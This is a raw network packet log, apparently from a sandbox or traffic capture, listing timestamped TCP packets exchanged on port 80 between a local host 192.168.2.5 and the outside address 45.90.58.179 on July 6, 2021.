Jul 6, 2021 14:31:30.112447977 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112468004 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112476110 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112494946 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112502098 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112521887 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112529039 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112549067 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112565041 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112577915 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112590075 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112606049 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112611055 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112632990 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112641096 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112659931 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112667084 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112687111 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112694025 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112714052 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112720013 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112740040 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112746954 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112766981 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112777948 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112795115 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112801075 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112822056 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112859011 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130429983 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130462885 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130496025 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130518913 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130541086 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130569935 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130578995 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130609989 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130621910 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130641937 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130652905 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130672932 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130698919 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130708933 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130729914 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130743980 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.130757093 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.130789995 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150635958 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150674105 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150707006 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150738001 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150739908 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150768995 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150789976 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150799036 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150821924 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150825977 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150836945 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150855064 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150877953 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150882006 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150899887 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150909901 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150922060 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150932074 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150959015 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150964975 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.150980949 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.150995016 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.151009083 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.151022911 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.151043892 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.151052952 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.151063919 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.151081085 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.151087999 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.151129007 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.151139975 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.151163101 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.151186943 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.151207924 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.154555082 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.154606104 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.154639006 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.154668093 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.154680014 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.154700041 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.154711962 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.154740095 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.154747963 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.154964924 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.154970884 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.154983997 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155030966 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155040979 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.155059099 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155086040 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.155087948 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155128002 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.155132055 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155154943 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.155158997 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155180931 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.155210018 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.155216932 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155256033 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.155291080 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.155353069 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168262959 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168342113 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168375015 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168390036 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168414116 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168443918 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168459892 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168486118 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168493032 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168526888 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168534994 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168565035 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168574095 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168601036 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168612003 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168638945 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168648005 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168677092 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168687105 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168715954 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168751001 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168756962 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168768883 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168788910 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168797016 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168828011 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168834925 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168860912 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168869019 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168899059 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168905020 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168935061 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.168946028 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168972969 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.168982983 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.169009924 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.169020891 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.169056892 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.169069052 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.169100046 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.205913067 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.205976963 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206011057 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206032038 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206062078 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206104040 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206129074 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206167936 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206180096 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206222057 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206243992 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206285954 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206314087 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206360102 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206377029 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206424952 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206444025 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206459045 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206481934 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206535101 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206556082 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206578016 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206602097 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206676960 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206742048 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206798077 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206813097 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206857920 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206868887 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206916094 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.206923962 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206960917 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.206971884 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207011938 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207021952 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207051039 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207075119 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207093000 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207134008 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207164049 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207206964 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207211971 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207257032 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207298994 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207324982 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207359076 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207371950 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207400084 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207418919 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207451105 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207468987 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207515001 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207542896 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207556009 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207573891 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207619905 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207627058 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207668066 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207680941 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207707882 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207727909 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207751989 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207783937 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207834005 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207840919 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207890987 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207897902 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207926989 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.207946062 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.207988977 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.208000898 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.208096027 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.208105087 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.208163977 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.208174944 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.208203077 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.208246946 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.208251953 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.208278894 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.208328962 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245146036 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245239019 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245291948 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245311975 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245404005 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245470047 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245487928 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245532036 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245543957 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245570898 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245593071 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245631933 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245645046 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245691061 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245712042 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245760918 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245771885 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245810986 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245822906 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245865107 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245878935 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245918036 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.245937109 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.245976925 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246001005 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246017933 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246042013 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246071100 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246083021 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246124029 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246138096 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246181965 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246191978 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246237040 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246244907 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246283054 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246290922 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246323109 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246335030 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246373892 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246388912 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246432066 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246447086 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246489048 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246499062 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246536970 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246555090 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246594906 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246611118 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246635914 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246650934 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246686935 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246694088 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246727943 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246740103 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246773005 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246784925 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246817112 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246829987 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246861935 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246874094 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246908903 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246927023 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.246953011 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.246963978 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247006893 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247025013 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247056007 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247071981 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247106075 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247139931 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247154951 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247188091 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247226954 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247276068 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247283936 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247289896 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247320890 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247334957 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247374058 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247386932 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247425079 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247438908 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247463942 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247478008 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247514009 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247526884 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247567892 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247581959 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247623920 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247632027 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247673988 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247682095 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247723103 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247736931 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247776031 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247788906 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247819901 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247838974 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247879028 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247895956 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247929096 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.247947931 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247982979 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.247997999 CEST	49815	80	192.168.2.5	45.90.58.179
